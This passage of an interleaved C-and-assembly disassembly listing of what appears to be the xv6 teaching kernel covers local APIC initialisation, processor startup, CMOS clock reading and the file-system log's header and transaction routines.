80102db8: 0f b6 c0 movzbl %al,%eax
80102dbb: 83 f8 03 cmp $0x3,%eax
80102dbe: 76 14 jbe 80102dd4 <lapicinit+0xb5>
lapicw(PCINT, MASKED);
80102dc0: c7 44 24 04 00 00 01 movl $0x10000,0x4(%esp)
80102dc7: 00
80102dc8: c7 04 24 d0 00 00 00 movl $0xd0,(%esp)
80102dcf: e8 2a ff ff ff call 80102cfe <lapicw>
// Map error interrupt to IRQ_ERROR.
lapicw(ERROR, T_IRQ0 + IRQ_ERROR);
80102dd4: c7 44 24 04 33 00 00 movl $0x33,0x4(%esp)
80102ddb: 00
80102ddc: c7 04 24 dc 00 00 00 movl $0xdc,(%esp)
80102de3: e8 16 ff ff ff call 80102cfe <lapicw>
// Clear error status register (requires back-to-back writes).
lapicw(ESR, 0);
80102de8: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
80102def: 00
80102df0: c7 04 24 a0 00 00 00 movl $0xa0,(%esp)
80102df7: e8 02 ff ff ff call 80102cfe <lapicw>
lapicw(ESR, 0);
80102dfc: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
80102e03: 00
80102e04: c7 04 24 a0 00 00 00 movl $0xa0,(%esp)
80102e0b: e8 ee fe ff ff call 80102cfe <lapicw>
// Ack any outstanding interrupts.
lapicw(EOI, 0);
80102e10: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
80102e17: 00
80102e18: c7 04 24 2c 00 00 00 movl $0x2c,(%esp)
80102e1f: e8 da fe ff ff call 80102cfe <lapicw>
// Send an Init Level De-Assert to synchronise arbitration ID's.
lapicw(ICRHI, 0);
80102e24: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
80102e2b: 00
80102e2c: c7 04 24 c4 00 00 00 movl $0xc4,(%esp)
80102e33: e8 c6 fe ff ff call 80102cfe <lapicw>
lapicw(ICRLO, BCAST | INIT | LEVEL);
80102e38: c7 44 24 04 00 85 08 movl $0x88500,0x4(%esp)
80102e3f: 00
80102e40: c7 04 24 c0 00 00 00 movl $0xc0,(%esp)
80102e47: e8 b2 fe ff ff call 80102cfe <lapicw>
while(lapic[ICRLO] & DELIVS)
80102e4c: 90 nop
80102e4d: a1 5c 22 11 80 mov 0x8011225c,%eax
80102e52: 05 00 03 00 00 add $0x300,%eax
80102e57: 8b 00 mov (%eax),%eax
80102e59: 25 00 10 00 00 and $0x1000,%eax
80102e5e: 85 c0 test %eax,%eax
80102e60: 75 eb jne 80102e4d <lapicinit+0x12e>
;
// Enable interrupts on the APIC (but not on the processor).
lapicw(TPR, 0);
80102e62: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
80102e69: 00
80102e6a: c7 04 24 20 00 00 00 movl $0x20,(%esp)
80102e71: e8 88 fe ff ff call 80102cfe <lapicw>
}
80102e76: c9 leave
80102e77: c3 ret
80102e78 <cpunum>:
int
cpunum(void)
{
80102e78: 55 push %ebp
80102e79: 89 e5 mov %esp,%ebp
80102e7b: 83 ec 18 sub $0x18,%esp
// Cannot call cpu when interrupts are enabled:
// result not guaranteed to last long enough to be used!
// Would prefer to panic but even printing is chancy here:
// almost everything, including cprintf and panic, calls cpu,
// often indirectly through acquire and release.
if(readeflags()&FL_IF){
80102e7e: e8 6b fe ff ff call 80102cee <readeflags>
80102e83: 25 00 02 00 00 and $0x200,%eax
80102e88: 85 c0 test %eax,%eax
80102e8a: 74 25 je 80102eb1 <cpunum+0x39>
static int n;
if(n++ == 0)
80102e8c: a1 40 b6 10 80 mov 0x8010b640,%eax
80102e91: 8d 50 01 lea 0x1(%eax),%edx
80102e94: 89 15 40 b6 10 80 mov %edx,0x8010b640
80102e9a: 85 c0 test %eax,%eax
80102e9c: 75 13 jne 80102eb1 <cpunum+0x39>
cprintf("cpu called from %x with interrupts enabled\n",
80102e9e: 8b 45 04 mov 0x4(%ebp),%eax
80102ea1: 89 44 24 04 mov %eax,0x4(%esp)
80102ea5: c7 04 24 80 88 10 80 movl $0x80108880,(%esp)
80102eac: e8 ef d4 ff ff call 801003a0 <cprintf>
__builtin_return_address(0));
}
if(lapic)
80102eb1: a1 5c 22 11 80 mov 0x8011225c,%eax
80102eb6: 85 c0 test %eax,%eax
80102eb8: 74 0f je 80102ec9 <cpunum+0x51>
return lapic[ID]>>24;
80102eba: a1 5c 22 11 80 mov 0x8011225c,%eax
80102ebf: 83 c0 20 add $0x20,%eax
80102ec2: 8b 00 mov (%eax),%eax
80102ec4: c1 e8 18 shr $0x18,%eax
80102ec7: eb 05 jmp 80102ece <cpunum+0x56>
return 0;
80102ec9: b8 00 00 00 00 mov $0x0,%eax
}
80102ece: c9 leave
80102ecf: c3 ret
80102ed0 <lapiceoi>:
// Acknowledge interrupt.
void
lapiceoi(void)
{
80102ed0: 55 push %ebp
80102ed1: 89 e5 mov %esp,%ebp
80102ed3: 83 ec 08 sub $0x8,%esp
if(lapic)
80102ed6: a1 5c 22 11 80 mov 0x8011225c,%eax
80102edb: 85 c0 test %eax,%eax
80102edd: 74 14 je 80102ef3 <lapiceoi+0x23>
lapicw(EOI, 0);
80102edf: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
80102ee6: 00
80102ee7: c7 04 24 2c 00 00 00 movl $0x2c,(%esp)
80102eee: e8 0b fe ff ff call 80102cfe <lapicw>
}
80102ef3: c9 leave
80102ef4: c3 ret
80102ef5 <microdelay>:
// Spin for a given number of microseconds.
// On real hardware would want to tune this dynamically.
void
microdelay(int us)
{
80102ef5: 55 push %ebp
80102ef6: 89 e5 mov %esp,%ebp
}
80102ef8: 5d pop %ebp
80102ef9: c3 ret
80102efa <lapicstartap>:
// Start additional processor running entry code at addr.
// See Appendix B of MultiProcessor Specification.
void
lapicstartap(uchar apicid, uint addr)
{
80102efa: 55 push %ebp
80102efb: 89 e5 mov %esp,%ebp
80102efd: 83 ec 1c sub $0x1c,%esp
80102f00: 8b 45 08 mov 0x8(%ebp),%eax
80102f03: 88 45 ec mov %al,-0x14(%ebp)
ushort *wrv;
// "The BSP must initialize CMOS shutdown code to 0AH
// and the warm reset vector (DWORD based at 40:67) to point at
// the AP startup code prior to the [universal startup algorithm]."
outb(CMOS_PORT, 0xF); // offset 0xF is shutdown code
80102f06: c7 44 24 04 0f 00 00 movl $0xf,0x4(%esp)
80102f0d: 00
80102f0e: c7 04 24 70 00 00 00 movl $0x70,(%esp)
80102f15: e8 b6 fd ff ff call 80102cd0 <outb>
outb(CMOS_PORT+1, 0x0A);
80102f1a: c7 44 24 04 0a 00 00 movl $0xa,0x4(%esp)
80102f21: 00
80102f22: c7 04 24 71 00 00 00 movl $0x71,(%esp)
80102f29: e8 a2 fd ff ff call 80102cd0 <outb>
wrv = (ushort*)P2V((0x40<<4 | 0x67)); // Warm reset vector
80102f2e: c7 45 f8 67 04 00 80 movl $0x80000467,-0x8(%ebp)
wrv[0] = 0;
80102f35: 8b 45 f8 mov -0x8(%ebp),%eax
80102f38: 66 c7 00 00 00 movw $0x0,(%eax)
wrv[1] = addr >> 4;
80102f3d: 8b 45 f8 mov -0x8(%ebp),%eax
80102f40: 8d 50 02 lea 0x2(%eax),%edx
80102f43: 8b 45 0c mov 0xc(%ebp),%eax
80102f46: c1 e8 04 shr $0x4,%eax
80102f49: 66 89 02 mov %ax,(%edx)
// "Universal startup algorithm."
// Send INIT (level-triggered) interrupt to reset other CPU.
lapicw(ICRHI, apicid<<24);
80102f4c: 0f b6 45 ec movzbl -0x14(%ebp),%eax
80102f50: c1 e0 18 shl $0x18,%eax
80102f53: 89 44 24 04 mov %eax,0x4(%esp)
80102f57: c7 04 24 c4 00 00 00 movl $0xc4,(%esp)
80102f5e: e8 9b fd ff ff call 80102cfe <lapicw>
lapicw(ICRLO, INIT | LEVEL | ASSERT);
80102f63: c7 44 24 04 00 c5 00 movl $0xc500,0x4(%esp)
80102f6a: 00
80102f6b: c7 04 24 c0 00 00 00 movl $0xc0,(%esp)
80102f72: e8 87 fd ff ff call 80102cfe <lapicw>
microdelay(200);
80102f77: c7 04 24 c8 00 00 00 movl $0xc8,(%esp)
80102f7e: e8 72 ff ff ff call 80102ef5 <microdelay>
lapicw(ICRLO, INIT | LEVEL);
80102f83: c7 44 24 04 00 85 00 movl $0x8500,0x4(%esp)
80102f8a: 00
80102f8b: c7 04 24 c0 00 00 00 movl $0xc0,(%esp)
80102f92: e8 67 fd ff ff call 80102cfe <lapicw>
microdelay(100); // should be 10ms, but too slow in Bochs!
80102f97: c7 04 24 64 00 00 00 movl $0x64,(%esp)
80102f9e: e8 52 ff ff ff call 80102ef5 <microdelay>
// Send startup IPI (twice!) to enter code.
// Regular hardware is supposed to only accept a STARTUP
// when it is in the halted state due to an INIT. So the second
// should be ignored, but it is part of the official Intel algorithm.
// Bochs complains about the second one. Too bad for Bochs.
for(i = 0; i < 2; i++){
80102fa3: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp)
80102faa: eb 40 jmp 80102fec <lapicstartap+0xf2>
lapicw(ICRHI, apicid<<24);
80102fac: 0f b6 45 ec movzbl -0x14(%ebp),%eax
80102fb0: c1 e0 18 shl $0x18,%eax
80102fb3: 89 44 24 04 mov %eax,0x4(%esp)
80102fb7: c7 04 24 c4 00 00 00 movl $0xc4,(%esp)
80102fbe: e8 3b fd ff ff call 80102cfe <lapicw>
lapicw(ICRLO, STARTUP | (addr>>12));
80102fc3: 8b 45 0c mov 0xc(%ebp),%eax
80102fc6: c1 e8 0c shr $0xc,%eax
80102fc9: 80 cc 06 or $0x6,%ah
80102fcc: 89 44 24 04 mov %eax,0x4(%esp)
80102fd0: c7 04 24 c0 00 00 00 movl $0xc0,(%esp)
80102fd7: e8 22 fd ff ff call 80102cfe <lapicw>
microdelay(200);
80102fdc: c7 04 24 c8 00 00 00 movl $0xc8,(%esp)
80102fe3: e8 0d ff ff ff call 80102ef5 <microdelay>
// Send startup IPI (twice!) to enter code.
// Regular hardware is supposed to only accept a STARTUP
// when it is in the halted state due to an INIT. So the second
// should be ignored, but it is part of the official Intel algorithm.
// Bochs complains about the second one. Too bad for Bochs.
for(i = 0; i < 2; i++){
80102fe8: 83 45 fc 01 addl $0x1,-0x4(%ebp)
80102fec: 83 7d fc 01 cmpl $0x1,-0x4(%ebp)
80102ff0: 7e ba jle 80102fac <lapicstartap+0xb2>
lapicw(ICRHI, apicid<<24);
lapicw(ICRLO, STARTUP | (addr>>12));
microdelay(200);
}
}
80102ff2: c9 leave
80102ff3: c3 ret
80102ff4 <cmos_read>:
#define DAY 0x07
#define MONTH 0x08
#define YEAR 0x09
static uint cmos_read(uint reg)
{
80102ff4: 55 push %ebp
80102ff5: 89 e5 mov %esp,%ebp
80102ff7: 83 ec 08 sub $0x8,%esp
outb(CMOS_PORT, reg);
80102ffa: 8b 45 08 mov 0x8(%ebp),%eax
80102ffd: 0f b6 c0 movzbl %al,%eax
80103000: 89 44 24 04 mov %eax,0x4(%esp)
80103004: c7 04 24 70 00 00 00 movl $0x70,(%esp)
8010300b: e8 c0 fc ff ff call 80102cd0 <outb>
microdelay(200);
80103010: c7 04 24 c8 00 00 00 movl $0xc8,(%esp)
80103017: e8 d9 fe ff ff call 80102ef5 <microdelay>
return inb(CMOS_RETURN);
8010301c: c7 04 24 71 00 00 00 movl $0x71,(%esp)
80103023: e8 8b fc ff ff call 80102cb3 <inb>
80103028: 0f b6 c0 movzbl %al,%eax
}
8010302b: c9 leave
8010302c: c3 ret
8010302d <fill_rtcdate>:
static void fill_rtcdate(struct rtcdate *r)
{
8010302d: 55 push %ebp
8010302e: 89 e5 mov %esp,%ebp
80103030: 83 ec 04 sub $0x4,%esp
r->second = cmos_read(SECS);
80103033: c7 04 24 00 00 00 00 movl $0x0,(%esp)
8010303a: e8 b5 ff ff ff call 80102ff4 <cmos_read>
8010303f: 8b 55 08 mov 0x8(%ebp),%edx
80103042: 89 02 mov %eax,(%edx)
r->minute = cmos_read(MINS);
80103044: c7 04 24 02 00 00 00 movl $0x2,(%esp)
8010304b: e8 a4 ff ff ff call 80102ff4 <cmos_read>
80103050: 8b 55 08 mov 0x8(%ebp),%edx
80103053: 89 42 04 mov %eax,0x4(%edx)
r->hour = cmos_read(HOURS);
80103056: c7 04 24 04 00 00 00 movl $0x4,(%esp)
8010305d: e8 92 ff ff ff call 80102ff4 <cmos_read>
80103062: 8b 55 08 mov 0x8(%ebp),%edx
80103065: 89 42 08 mov %eax,0x8(%edx)
r->day = cmos_read(DAY);
80103068: c7 04 24 07 00 00 00 movl $0x7,(%esp)
8010306f: e8 80 ff ff ff call 80102ff4 <cmos_read>
80103074: 8b 55 08 mov 0x8(%ebp),%edx
80103077: 89 42 0c mov %eax,0xc(%edx)
r->month = cmos_read(MONTH);
8010307a: c7 04 24 08 00 00 00 movl $0x8,(%esp)
80103081: e8 6e ff ff ff call 80102ff4 <cmos_read>
80103086: 8b 55 08 mov 0x8(%ebp),%edx
80103089: 89 42 10 mov %eax,0x10(%edx)
r->year = cmos_read(YEAR);
8010308c: c7 04 24 09 00 00 00 movl $0x9,(%esp)
80103093: e8 5c ff ff ff call 80102ff4 <cmos_read>
80103098: 8b 55 08 mov 0x8(%ebp),%edx
8010309b: 89 42 14 mov %eax,0x14(%edx)
}
8010309e: c9 leave
8010309f: c3 ret
801030a0 <cmostime>:
// qemu seems to use 24-hour GWT and the values are BCD encoded
void cmostime(struct rtcdate *r)
{
801030a0: 55 push %ebp
801030a1: 89 e5 mov %esp,%ebp
801030a3: 83 ec 58 sub $0x58,%esp
struct rtcdate t1, t2;
int sb, bcd;
sb = cmos_read(CMOS_STATB);
801030a6: c7 04 24 0b 00 00 00 movl $0xb,(%esp)
801030ad: e8 42 ff ff ff call 80102ff4 <cmos_read>
801030b2: 89 45 f4 mov %eax,-0xc(%ebp)
bcd = (sb & (1 << 2)) == 0;
801030b5: 8b 45 f4 mov -0xc(%ebp),%eax
801030b8: 83 e0 04 and $0x4,%eax
801030bb: 85 c0 test %eax,%eax
801030bd: 0f 94 c0 sete %al
801030c0: 0f b6 c0 movzbl %al,%eax
801030c3: 89 45 f0 mov %eax,-0x10(%ebp)
// make sure CMOS doesn't modify time while we read it
for (;;) {
fill_rtcdate(&t1);
801030c6: 8d 45 d8 lea -0x28(%ebp),%eax
801030c9: 89 04 24 mov %eax,(%esp)
801030cc: e8 5c ff ff ff call 8010302d <fill_rtcdate>
if (cmos_read(CMOS_STATA) & CMOS_UIP)
801030d1: c7 04 24 0a 00 00 00 movl $0xa,(%esp)
801030d8: e8 17 ff ff ff call 80102ff4 <cmos_read>
801030dd: 25 80 00 00 00 and $0x80,%eax
801030e2: 85 c0 test %eax,%eax
801030e4: 74 02 je 801030e8 <cmostime+0x48>
continue;
801030e6: eb 36 jmp 8010311e <cmostime+0x7e>
fill_rtcdate(&t2);
801030e8: 8d 45 c0 lea -0x40(%ebp),%eax
801030eb: 89 04 24 mov %eax,(%esp)
801030ee: e8 3a ff ff ff call 8010302d <fill_rtcdate>
if (memcmp(&t1, &t2, sizeof(t1)) == 0)
801030f3: c7 44 24 08 18 00 00 movl $0x18,0x8(%esp)
801030fa: 00
801030fb: 8d 45 c0 lea -0x40(%ebp),%eax
801030fe: 89 44 24 04 mov %eax,0x4(%esp)
80103102: 8d 45 d8 lea -0x28(%ebp),%eax
80103105: 89 04 24 mov %eax,(%esp)
80103108: e8 cf 1f 00 00 call 801050dc <memcmp>
8010310d: 85 c0 test %eax,%eax
8010310f: 75 0d jne 8010311e <cmostime+0x7e>
break;
80103111: 90 nop
}
// convert
if (bcd) {
80103112: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
80103116: 0f 84 ac 00 00 00 je 801031c8 <cmostime+0x128>
8010311c: eb 02 jmp 80103120 <cmostime+0x80>
if (cmos_read(CMOS_STATA) & CMOS_UIP)
continue;
fill_rtcdate(&t2);
if (memcmp(&t1, &t2, sizeof(t1)) == 0)
break;
}
8010311e: eb a6 jmp 801030c6 <cmostime+0x26>
// convert
if (bcd) {
#define CONV(x) (t1.x = ((t1.x >> 4) * 10) + (t1.x & 0xf))
CONV(second);
80103120: 8b 45 d8 mov -0x28(%ebp),%eax
80103123: c1 e8 04 shr $0x4,%eax
80103126: 89 c2 mov %eax,%edx
80103128: 89 d0 mov %edx,%eax
8010312a: c1 e0 02 shl $0x2,%eax
8010312d: 01 d0 add %edx,%eax
8010312f: 01 c0 add %eax,%eax
80103131: 8b 55 d8 mov -0x28(%ebp),%edx
80103134: 83 e2 0f and $0xf,%edx
80103137: 01 d0 add %edx,%eax
80103139: 89 45 d8 mov %eax,-0x28(%ebp)
CONV(minute);
8010313c: 8b 45 dc mov -0x24(%ebp),%eax
8010313f: c1 e8 04 shr $0x4,%eax
80103142: 89 c2 mov %eax,%edx
80103144: 89 d0 mov %edx,%eax
80103146: c1 e0 02 shl $0x2,%eax
80103149: 01 d0 add %edx,%eax
8010314b: 01 c0 add %eax,%eax
8010314d: 8b 55 dc mov -0x24(%ebp),%edx
80103150: 83 e2 0f and $0xf,%edx
80103153: 01 d0 add %edx,%eax
80103155: 89 45 dc mov %eax,-0x24(%ebp)
CONV(hour );
80103158: 8b 45 e0 mov -0x20(%ebp),%eax
8010315b: c1 e8 04 shr $0x4,%eax
8010315e: 89 c2 mov %eax,%edx
80103160: 89 d0 mov %edx,%eax
80103162: c1 e0 02 shl $0x2,%eax
80103165: 01 d0 add %edx,%eax
80103167: 01 c0 add %eax,%eax
80103169: 8b 55 e0 mov -0x20(%ebp),%edx
8010316c: 83 e2 0f and $0xf,%edx
8010316f: 01 d0 add %edx,%eax
80103171: 89 45 e0 mov %eax,-0x20(%ebp)
CONV(day );
80103174: 8b 45 e4 mov -0x1c(%ebp),%eax
80103177: c1 e8 04 shr $0x4,%eax
8010317a: 89 c2 mov %eax,%edx
8010317c: 89 d0 mov %edx,%eax
8010317e: c1 e0 02 shl $0x2,%eax
80103181: 01 d0 add %edx,%eax
80103183: 01 c0 add %eax,%eax
80103185: 8b 55 e4 mov -0x1c(%ebp),%edx
80103188: 83 e2 0f and $0xf,%edx
8010318b: 01 d0 add %edx,%eax
8010318d: 89 45 e4 mov %eax,-0x1c(%ebp)
CONV(month );
80103190: 8b 45 e8 mov -0x18(%ebp),%eax
80103193: c1 e8 04 shr $0x4,%eax
80103196: 89 c2 mov %eax,%edx
80103198: 89 d0 mov %edx,%eax
8010319a: c1 e0 02 shl $0x2,%eax
8010319d: 01 d0 add %edx,%eax
8010319f: 01 c0 add %eax,%eax
801031a1: 8b 55 e8 mov -0x18(%ebp),%edx
801031a4: 83 e2 0f and $0xf,%edx
801031a7: 01 d0 add %edx,%eax
801031a9: 89 45 e8 mov %eax,-0x18(%ebp)
CONV(year );
801031ac: 8b 45 ec mov -0x14(%ebp),%eax
801031af: c1 e8 04 shr $0x4,%eax
801031b2: 89 c2 mov %eax,%edx
801031b4: 89 d0 mov %edx,%eax
801031b6: c1 e0 02 shl $0x2,%eax
801031b9: 01 d0 add %edx,%eax
801031bb: 01 c0 add %eax,%eax
801031bd: 8b 55 ec mov -0x14(%ebp),%edx
801031c0: 83 e2 0f and $0xf,%edx
801031c3: 01 d0 add %edx,%eax
801031c5: 89 45 ec mov %eax,-0x14(%ebp)
#undef CONV
}
*r = t1;
801031c8: 8b 45 08 mov 0x8(%ebp),%eax
801031cb: 8b 55 d8 mov -0x28(%ebp),%edx
801031ce: 89 10 mov %edx,(%eax)
801031d0: 8b 55 dc mov -0x24(%ebp),%edx
801031d3: 89 50 04 mov %edx,0x4(%eax)
801031d6: 8b 55 e0 mov -0x20(%ebp),%edx
801031d9: 89 50 08 mov %edx,0x8(%eax)
801031dc: 8b 55 e4 mov -0x1c(%ebp),%edx
801031df: 89 50 0c mov %edx,0xc(%eax)
801031e2: 8b 55 e8 mov -0x18(%ebp),%edx
801031e5: 89 50 10 mov %edx,0x10(%eax)
801031e8: 8b 55 ec mov -0x14(%ebp),%edx
801031eb: 89 50 14 mov %edx,0x14(%eax)
r->year += 2000;
801031ee: 8b 45 08 mov 0x8(%ebp),%eax
801031f1: 8b 40 14 mov 0x14(%eax),%eax
801031f4: 8d 90 d0 07 00 00 lea 0x7d0(%eax),%edx
801031fa: 8b 45 08 mov 0x8(%ebp),%eax
801031fd: 89 50 14 mov %edx,0x14(%eax)
}
80103200: c9 leave
80103201: c3 ret
80103202 <initlog>:
static void recover_from_log(void);
static void commit();
void
initlog(void)
{
80103202: 55 push %ebp
80103203: 89 e5 mov %esp,%ebp
80103205: 83 ec 28 sub $0x28,%esp
if (sizeof(struct logheader) >= BSIZE)
panic("initlog: too big logheader");
struct superblock sb;
initlock(&log.lock, "log");
80103208: c7 44 24 04 ac 88 10 movl $0x801088ac,0x4(%esp)
8010320f: 80
80103210: c7 04 24 60 22 11 80 movl $0x80112260,(%esp)
80103217: e8 d4 1b 00 00 call 80104df0 <initlock>
readsb(ROOTDEV, &sb);
8010321c: 8d 45 e8 lea -0x18(%ebp),%eax
8010321f: 89 44 24 04 mov %eax,0x4(%esp)
80103223: c7 04 24 01 00 00 00 movl $0x1,(%esp)
8010322a: e8 c2 e0 ff ff call 801012f1 <readsb>
log.start = sb.size - sb.nlog;
8010322f: 8b 55 e8 mov -0x18(%ebp),%edx
80103232: 8b 45 f4 mov -0xc(%ebp),%eax
80103235: 29 c2 sub %eax,%edx
80103237: 89 d0 mov %edx,%eax
80103239: a3 94 22 11 80 mov %eax,0x80112294
log.size = sb.nlog;
8010323e: 8b 45 f4 mov -0xc(%ebp),%eax
80103241: a3 98 22 11 80 mov %eax,0x80112298
log.dev = ROOTDEV;
80103246: c7 05 a4 22 11 80 01 movl $0x1,0x801122a4
8010324d: 00 00 00
recover_from_log();
80103250: e8 9a 01 00 00 call 801033ef <recover_from_log>
}
80103255: c9 leave
80103256: c3 ret
80103257 <install_trans>:
// Copy committed blocks from log to their home location
static void
install_trans(void)
{
80103257: 55 push %ebp
80103258: 89 e5 mov %esp,%ebp
8010325a: 83 ec 28 sub $0x28,%esp
int tail;
for (tail = 0; tail < log.lh.n; tail++) {
8010325d: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
80103264: e9 8c 00 00 00 jmp 801032f5 <install_trans+0x9e>
struct buf *lbuf = bread(log.dev, log.start+tail+1); // read log block
80103269: 8b 15 94 22 11 80 mov 0x80112294,%edx
8010326f: 8b 45 f4 mov -0xc(%ebp),%eax
80103272: 01 d0 add %edx,%eax
80103274: 83 c0 01 add $0x1,%eax
80103277: 89 c2 mov %eax,%edx
80103279: a1 a4 22 11 80 mov 0x801122a4,%eax
8010327e: 89 54 24 04 mov %edx,0x4(%esp)
80103282: 89 04 24 mov %eax,(%esp)
80103285: e8 1c cf ff ff call 801001a6 <bread>
8010328a: 89 45 f0 mov %eax,-0x10(%ebp)
struct buf *dbuf = bread(log.dev, log.lh.sector[tail]); // read dst
8010328d: 8b 45 f4 mov -0xc(%ebp),%eax
80103290: 83 c0 10 add $0x10,%eax
80103293: 8b 04 85 6c 22 11 80 mov -0x7feedd94(,%eax,4),%eax
8010329a: 89 c2 mov %eax,%edx
8010329c: a1 a4 22 11 80 mov 0x801122a4,%eax
801032a1: 89 54 24 04 mov %edx,0x4(%esp)
801032a5: 89 04 24 mov %eax,(%esp)
801032a8: e8 f9 ce ff ff call 801001a6 <bread>
801032ad: 89 45 ec mov %eax,-0x14(%ebp)
memmove(dbuf->data, lbuf->data, BSIZE); // copy block to dst
801032b0: 8b 45 f0 mov -0x10(%ebp),%eax
801032b3: 8d 50 18 lea 0x18(%eax),%edx
801032b6: 8b 45 ec mov -0x14(%ebp),%eax
801032b9: 83 c0 18 add $0x18,%eax
801032bc: c7 44 24 08 00 02 00 movl $0x200,0x8(%esp)
801032c3: 00
801032c4: 89 54 24 04 mov %edx,0x4(%esp)
801032c8: 89 04 24 mov %eax,(%esp)
801032cb: e8 64 1e 00 00 call 80105134 <memmove>
bwrite(dbuf); // write dst to disk
801032d0: 8b 45 ec mov -0x14(%ebp),%eax
801032d3: 89 04 24 mov %eax,(%esp)
801032d6: e8 02 cf ff ff call 801001dd <bwrite>
brelse(lbuf);
801032db: 8b 45 f0 mov -0x10(%ebp),%eax
801032de: 89 04 24 mov %eax,(%esp)
801032e1: e8 31 cf ff ff call 80100217 <brelse>
brelse(dbuf);
801032e6: 8b 45 ec mov -0x14(%ebp),%eax
801032e9: 89 04 24 mov %eax,(%esp)
801032ec: e8 26 cf ff ff call 80100217 <brelse>
static void
install_trans(void)
{
int tail;
for (tail = 0; tail < log.lh.n; tail++) {
801032f1: 83 45 f4 01 addl $0x1,-0xc(%ebp)
801032f5: a1 a8 22 11 80 mov 0x801122a8,%eax
801032fa: 3b 45 f4 cmp -0xc(%ebp),%eax
801032fd: 0f 8f 66 ff ff ff jg 80103269 <install_trans+0x12>
memmove(dbuf->data, lbuf->data, BSIZE); // copy block to dst
bwrite(dbuf); // write dst to disk
brelse(lbuf);
brelse(dbuf);
}
}
80103303: c9 leave
80103304: c3 ret
80103305 <read_head>:
// Read the log header from disk into the in-memory log header
static void
read_head(void)
{
80103305: 55 push %ebp
80103306: 89 e5 mov %esp,%ebp
80103308: 83 ec 28 sub $0x28,%esp
struct buf *buf = bread(log.dev, log.start);
8010330b: a1 94 22 11 80 mov 0x80112294,%eax
80103310: 89 c2 mov %eax,%edx
80103312: a1 a4 22 11 80 mov 0x801122a4,%eax
80103317: 89 54 24 04 mov %edx,0x4(%esp)
8010331b: 89 04 24 mov %eax,(%esp)
8010331e: e8 83 ce ff ff call 801001a6 <bread>
80103323: 89 45 f0 mov %eax,-0x10(%ebp)
struct logheader *lh = (struct logheader *) (buf->data);
80103326: 8b 45 f0 mov -0x10(%ebp),%eax
80103329: 83 c0 18 add $0x18,%eax
8010332c: 89 45 ec mov %eax,-0x14(%ebp)
int i;
log.lh.n = lh->n;
8010332f: 8b 45 ec mov -0x14(%ebp),%eax
80103332: 8b 00 mov (%eax),%eax
80103334: a3 a8 22 11 80 mov %eax,0x801122a8
for (i = 0; i < log.lh.n; i++) {
80103339: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
80103340: eb 1b jmp 8010335d <read_head+0x58>
log.lh.sector[i] = lh->sector[i];
80103342: 8b 45 ec mov -0x14(%ebp),%eax
80103345: 8b 55 f4 mov -0xc(%ebp),%edx
80103348: 8b 44 90 04 mov 0x4(%eax,%edx,4),%eax
8010334c: 8b 55 f4 mov -0xc(%ebp),%edx
8010334f: 83 c2 10 add $0x10,%edx
80103352: 89 04 95 6c 22 11 80 mov %eax,-0x7feedd94(,%edx,4)
{
struct buf *buf = bread(log.dev, log.start);
struct logheader *lh = (struct logheader *) (buf->data);
int i;
log.lh.n = lh->n;
for (i = 0; i < log.lh.n; i++) {
80103359: 83 45 f4 01 addl $0x1,-0xc(%ebp)
8010335d: a1 a8 22 11 80 mov 0x801122a8,%eax
80103362: 3b 45 f4 cmp -0xc(%ebp),%eax
80103365: 7f db jg 80103342 <read_head+0x3d>
log.lh.sector[i] = lh->sector[i];
}
brelse(buf);
80103367: 8b 45 f0 mov -0x10(%ebp),%eax
8010336a: 89 04 24 mov %eax,(%esp)
8010336d: e8 a5 ce ff ff call 80100217 <brelse>
}
80103372: c9 leave
80103373: c3 ret
80103374 <write_head>:
// Write in-memory log header to disk.
// This is the true point at which the
// current transaction commits.
static void
write_head(void)
{
80103374: 55 push %ebp
80103375: 89 e5 mov %esp,%ebp
80103377: 83 ec 28 sub $0x28,%esp
struct buf *buf = bread(log.dev, log.start);
8010337a: a1 94 22 11 80 mov 0x80112294,%eax
8010337f: 89 c2 mov %eax,%edx
80103381: a1 a4 22 11 80 mov 0x801122a4,%eax
80103386: 89 54 24 04 mov %edx,0x4(%esp)
8010338a: 89 04 24 mov %eax,(%esp)
8010338d: e8 14 ce ff ff call 801001a6 <bread>
80103392: 89 45 f0 mov %eax,-0x10(%ebp)
struct logheader *hb = (struct logheader *) (buf->data);
80103395: 8b 45 f0 mov -0x10(%ebp),%eax
80103398: 83 c0 18 add $0x18,%eax
8010339b: 89 45 ec mov %eax,-0x14(%ebp)
int i;
hb->n = log.lh.n;
8010339e: 8b 15 a8 22 11 80 mov 0x801122a8,%edx
801033a4: 8b 45 ec mov -0x14(%ebp),%eax
801033a7: 89 10 mov %edx,(%eax)
for (i = 0; i < log.lh.n; i++) {
801033a9: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
801033b0: eb 1b jmp 801033cd <write_head+0x59>
hb->sector[i] = log.lh.sector[i];
801033b2: 8b 45 f4 mov -0xc(%ebp),%eax
801033b5: 83 c0 10 add $0x10,%eax
801033b8: 8b 0c 85 6c 22 11 80 mov -0x7feedd94(,%eax,4),%ecx
801033bf: 8b 45 ec mov -0x14(%ebp),%eax
801033c2: 8b 55 f4 mov -0xc(%ebp),%edx
801033c5: 89 4c 90 04 mov %ecx,0x4(%eax,%edx,4)
{
struct buf *buf = bread(log.dev, log.start);
struct logheader *hb = (struct logheader *) (buf->data);
int i;
hb->n = log.lh.n;
for (i = 0; i < log.lh.n; i++) {
801033c9: 83 45 f4 01 addl $0x1,-0xc(%ebp)
801033cd: a1 a8 22 11 80 mov 0x801122a8,%eax
801033d2: 3b 45 f4 cmp -0xc(%ebp),%eax
801033d5: 7f db jg 801033b2 <write_head+0x3e>
hb->sector[i] = log.lh.sector[i];
}
bwrite(buf);
801033d7: 8b 45 f0 mov -0x10(%ebp),%eax
801033da: 89 04 24 mov %eax,(%esp)
801033dd: e8 fb cd ff ff call 801001dd <bwrite>
brelse(buf);
801033e2: 8b 45 f0 mov -0x10(%ebp),%eax
801033e5: 89 04 24 mov %eax,(%esp)
801033e8: e8 2a ce ff ff call 80100217 <brelse>
}
801033ed: c9 leave
801033ee: c3 ret
